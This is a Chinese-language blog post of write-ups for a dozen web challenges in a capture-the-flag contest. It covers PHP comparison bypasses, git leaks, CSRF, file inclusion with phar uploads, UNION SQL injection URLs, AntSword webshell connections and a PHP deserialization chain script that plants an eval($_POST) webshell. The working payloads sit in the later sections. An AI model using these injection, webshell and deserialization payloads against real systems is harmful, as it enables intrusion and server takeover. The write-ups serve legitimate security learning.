该正视过去的那段时光了,虽然并不顺利,但也要记录下来,成为博客文章的一员。

1.朋友的学妹

直接F12即可。

2.EZwww

提示的很清楚了,这里直接用脚本去找备份文件,通过返回的状态码很快就找出来备份文件的文件名,然后下载解压就可以拿到 flag 了

3.刘壮的黑页

这个下拉到最下面的地方,然后鼠标选择之后能看到php代码,然后代码审计,直接 GET 提交 username=admin 然后 POST 提交 passwd=syclover 就可以了。

4.Welcome

这道题目使用GET访问的时候会显示页面是空白的,刚开始我不知道,以为是人太多导致页面加载不出来,就放在一边看后面的题目了。写了后面的题目再打开发现还是无法打开,搜索 405 错误之后就明白了。

使用 POST 发送请求,然后会看到一段 PHP 代码,发现需要 POST 上传两个参数,要求上传的两个参数 roam1 和 roam2 值必须严格不同,但是他们的md5计算值却必须是相同的。

使用数组绕过的方法,让两个都为数组,然后赋上不同的值,这样两个数在比较的时候,值严格不同,在计算 md5 比较的时候,又因为两个变量返回的都是 array 所以计算出来的结果都是相同的。这样成功访问到 phpinfo() 页面。

经过一遍又一遍的阅读这个超级长的php配置信息,大概获得了两个有用的信息:第一个是有一个叫 f14444aaagggg.php 的文件被预先包含在了每一个页面里面,另外一个信息就是会莫名其妙的发起一个和网页地址一样的参数请求,值为空,猜测是 f14444aaagggg.php 文件里执行出来的,觉得这里可能是突破点。

然后访问网址 +f14444aaagggg.php 什么都没显示出来,各种操作好像都不太行,所以就暂时放弃了。

brupsuite!

原来访问的时候抓一个包就好了,flag藏在响应头里面……

啊这,flag 还能藏在这里面吗……那就有点不懂发起的那个和网页地址一样的请求的目的是干什么了,而且 auto_prepend_file 不是预加载到每一个页面啊,为什么只有访问 f14444aaagggg.php 才会相应出来 flag 啊,好迷啊。

5.EZgit

题目里面很清楚的提示了要使用 Githack,在搜查资料了解了什么是 Githack 和 git 版本泄露之后,就开始下载安装开搞,搞下来之后就找 flag 文件,里面说版本过老,然后用命令切换版本之后再打开就能拿到 Flag 了。

6.我是大黑客

下载下来备份文件,然后解压,PHP 文件里面只有一行代码,发现了 eval 和 POST,然后其他的都没有了。搜索了 eval 之后大概明白了是命令注入,然后注入了半天都不知道去哪里拿 Flag。后来搜了搜才知道有种东西叫作一句话木马,有一种工具叫作网站管理工具。下载了蚁剑,学了下基本用法之后成功连接一句话木马。

之后大概就进入了一个 Linux 命令窗口的地方,只需要用简单的 Linux 命令就可以找到 flag 文件了。

7.ezbypass

这里首先让使用 GET 请求上传一个 a 和 b ,要求 a 和 b 值不相等,但是他们使用 strcmp() 函数比较却要求相等(返回零)。这里可以利用这个传入的数据要求是字符串类型,但是传入一个非字符串之后会报错然后返回 0(同样表示相等),这样就绕过了。 但是需要注意的是,这里对 php 的版本是有要求的,必须高于 5.3 版本才行。

然后会进入第二个页面,要求使用 POST 传入一个值 c 要求这个值,类型不能是数字,但是必须等于123,提交了 c=”123” 之后发现不可以,看来是使用严格判断 === 了, 猜测直接输入表达式,试了 122+1 不行,但是 123+1 就可以了,好奇怪啊。

8.Flagshop

这道题目做的真的是爽的要死,打开网页之后大概看了一下整个网站的全貌,就是拿钱买 Flag(浪爷的网页真好看)。但是初始账号里面只有 10 块钱,买 Flag 需要 10000M 块钱,最开始我把 10000M 看成了一万块,就想写一个脚本,然后注册 1000 个账号,向主账号里面把钱都转过去,然后拿钱买 Flag,写了一半发现不太好写,就开始考虑各种奇奇怪怪的方法,比如 SQL 注入来登录浪爷的账号买 Flag 什么的。

都不行之后开始在网站上漫无目的开始找资料,发现了有一道 CTF 的题目和这个很像,都是转账然后买 Flag ,想要套用这个思路但是发现不太行,它的那个是用注入的方法修改转账逻辑,让初始用户都转帐给它。然而这道题目连转账的 API 都找不到。

当时主要是不太明白报告里面想要传达的内容,虽说在找资料的时候看到了有关 CSRF 攻击文章,但是没有反应过来。终于等到了浪爷放出了 hint ,就是 CSRF,好家伙,经过阅读了好几篇 CSRF 的文章和看了好几遍整个网站之后,大概理清楚了可能的攻击原理,整个网站的设计都是有一定含义的。浪爷账号的 INF ,转账系统,留言板里面“会查看报告里的链接的”,原来是要从浪爷的账号里要钱。

然后开始抓转账的包,确定格式,学 HTML 写网页,找了个代码托管平台传了上去并开通 Page 服务。经过反复的试验之后,成功搞出来了一个能用的连接:https://xorex.gitee.io/ 。暴力枚举 MD5 获得验证码,然后交报告给浪爷之后,果然激活了,从浪爷的钱包里拿到了 1E19 的钱,买到了新爱的 Flag!(还买了蹭饭卡和啊这 EGG{@_2h3_zh3_60_5h1_ro4_dan_chon9ji} )

9.忏悔的刘壮

提交几个忏悔之后,都是刘壮这次没做,最后出现要求三秒钟之内提交,应该就是 Python 脚本题了。

尝试几次之后,成功猜对一个,然后忏悔数量加一,盲猜应该要忏悔很多次才行。

然后开始摸索脚本的格式,刚开始请求一直出现 500 错误,然后根据跳转的各个页面找到每个页面的提交格式,然后使用 Session 来保持持续的忏悔,使用 Cookie 里面记录的忏悔答案来提交,保证每次忏悔都对,之后让脚本不停的跑就可以了,最后输出 Flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

URL1="http://120.79.197.4:5000/"
URL2="http://120.79.197.4:5000/check"
Mysession=requests.session()
Response=Mysession.get(URL1)

while True:
Cookie=Response.headers['Set-Cookie'][7]
Data={'answer':Cookie}
Response=Mysession.post(URL2,data=Data)
if 'SYC' in Response.text:
print(Response.text)
break

10.Myblog

又是浪爷的题目,爱了爱了。

刚开始以为是SQL注入,试了好几次什么有价值的回显都没有,暂时搁置了一小段时间。

后来去观察网页的 URL 确定每个不同的页面是怎样传进去的,然后发现了 index.php 页面是通过 page 的值确定显示的页面。猜测可能使用了文件包含,是传入文件名之后拼接上后缀然后包含。

试了试果然存在 home.php 和 login.php 页面。

使用 php://filter 来把这些页面的源码弄下来,在 login.php 里发现了登录成功之后显示的页面 admin/user.php 和 password 生成器(竟然是随机的啊)

大概查了查资料,结合 admin/user.php 文件里面的代码。明白了这道题怎么利用 Session 的(之前以为 Session 就是 Cookie 的一部分)。然后就是抓包,分析跳转逻辑和账号密码验证逻辑,想到了绕过方法。

既然随机密码谁都不知道,那么就不让设置密码,POST提交的 Password 也为空,就可以绕过密码比对了。不设置密码只需要带着一个全新的 SessionID,不经过设置密码界面 login.php ,直接提交数据给验证页面 admin/user.php 就可以了(这下操作只能在 Burp 上面实现了)

操作成功返回了博客后台界面,然后开始读文件上传代码,发现只验证后缀和类型满足是个图片就可以了。还发现了几个页面,但是把代码弄下来之后也没有发现什么有用的信息。

然后就是上传文件,因为只能是图片文件,所以构造图片马,利用 phar 协议在打开phar文件的时候会执行里面的 php 代码,可以写一些恶意 PHP 代码封装在自己生成的 phar 文件里面,然后在 index.php 页面的 page 参数里面输入 phar 协议来打开这个文件就可以了。

然后先构造包含上传图片( phar 改后缀为 jpg )的上传包,发送之后看回显的上传文件名称,然后在另外一个浏览器使用 phar 协议打开并执行它。

然后就开始使用各种 PHP 代码来尝试,比如输出 index.php 的代码,查看 phpinfo() 文件(不停发包真的麻烦),试了半天,突然想到我好像有一种东西叫做蚁剑,然后链接上之后就在主目录里面找到了 Flag。

浪爷的题目好棒啊!!!!

11.带恶人六撞

这一看就是 SQL 注入,首先排除数字查询确定是字符查询,然后经过尝试和猜测得出闭合方式是单引号闭合,where 查询输入的 ID 然后然后输出,构造的 SQL 语句很简短。

有报错回显,用了一下 updatexml() 直接给我回了一个 Hakcer? 看来是被禁用了,但是其他方法的报错注入都没被禁。

-- 注释没有被禁 但 -- 的末尾空格被禁了。 但是可以这样: -- /**/ 来保证 -- 后面还有一个空格,成功达成注释效果,后来发现根本不需要注释,末尾应该只有一个 ' 所以直接多一个 ' 和它一起闭合就可以了。

使用 union select 1,2,3,4 发现是 1号/2号/4号 通道回显,分别存储着 事件 ID (应该就是 SQL 的 where 查询用的列),标题和文章链接。

database 获得当前数据库名称为 geek_sql

1
http://49.234.224.119:7415/blog/5.html?id=-1' union select 1,2,3,database() '

好了开始翻出来表名有 blog 和 fllllag :

1
http://49.234.224.119:7415/blog/5.html?id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='geek_sql' '

搞列名,有两个id 和 fllllllag

1
http://49.234.224.119:7415/blog/5.html?id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='geek_sql' and table_name='fllllag' '

Flag 到手!

1
http://49.234.224.119:7415/blog/5.html?id=-1' union select 1,2,group_concat(id),group_concat(fllllllag) from fllllag -- /**/

还看到了: longlone_need_gf ,浪爷这么棒的人,肯定会找到属于自己的幸福的啊!

12.pop chain epic

复习了好一会反序列化、继承和静态变量的知识。

首先找到最后能拿到 Flag 的突破口,然后一步一步往前推就好了。(感谢马师傅 UN8 的训练!)开始以为可能是在 call_user_func($this->aaa["object"]) 因为可以调用 eval 或者 assert ,但是这需要往里面塞入两个参数,感觉这里不太行。

继续看发现了可爱的 $this->aaa[1]($this->aaa[2]); 这个东西给 $aaa 扔一个 array('eval','$post["attack"]') 就可以逛服务器了(实际上是不可以的),这里需要注意的是 “attack” 必须使用双引号括住,因为序列化是不支持单引号的(血和泪的教训)!!!

但是这些前提就是必须绕过 pop 类中的 __wakeup() 才可以,方法就是在序列化对象的属性数量 +1,超过 pop 类最大属性数量就可以绕过 __wakeup() 方法,不去执行清空语句了。(搜了搜原来这是个CVE 啊)

执行一句话木马前提就是 call_user_func($this->aaa["object"]); 返回的值是 true 才行 这样第二次循环就轮到执行木马了。盯了一圈,发现了了 private $AFKL 属性 ,可以在 $AFKL 设置初始值,然后通过 epic 类中的 __call() 方法中的 $this->aaa->$name($params) 来调用从父类 chain 中继承而来的 getAFKL() 方法。

思路大概就是这样,但是很奇怪的是 __invoke() 方法在这个过程中并没有被使用(当该类的实例化对象被当做函数调用的时候激活)

有很多细节是需要注意的:

  • 如果含有 protected 和 private 属性序列化,在对序列化对象进行移动的时候,在本机使用 base64编码。

  • 在构造一句话木马的地方是 $a($b) ,$a 为想要调用函数的名称,$b 是想要传入的参数。被称为可变函数。php 会自动寻找和它同名的函数并执行,但是不可以调用语言结构( php 关键词,语法的一部分)。非常可惜的是一句话木马里面常用的 eval() 是一个语言构造器,无法通过可变函数调用,因此只能使用 assert()

  • eval() 实质性是一个语言构造器,只有一个参数,将接受合法php代码执行。而 assert() 会把整个字符串都当成代码进行执行。

  • 将接受参数的语句 '$_POST["attack"]' 的引号是固定的,因为外层的单引号回将语句当成单纯的字符串而不是魔法常量,内层的双引号可以成功反序列化(单引号会有问题)

  • assert() 在实际执行代码的时候,不知道为什么会有各种奇奇怪怪的错误,所以就直接这样构造了:assert(eval($_POST["attack"])); 本质上是 eval() 在执行 post 上传的代码。

  • 在使用 assert() 连接蚁剑的时候,需要使用 base64 编码模式,不然返回数据为空。

有了明确的思路和细节之后,就可以写代码序列化,然后上传网页之后,用蚁剑连接,在根目录找到了 flag 文件。

序列化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class pop {
public $aaa;
public function __construct() {
$C1=new epic();
$this->aaa=array("","assert",'eval($_POST["attack"])',"object"=>array($C1,"getAFKL"));
}
}

class chain {
private $AFKL=true;
}

class epic extends chain {
public $aaa;
public function __construct() {
$this->aaa=new chain();
}
}

$a=new pop();
$a=serialize($a);
$a[10]='2';
echo base64_encode($a);

?>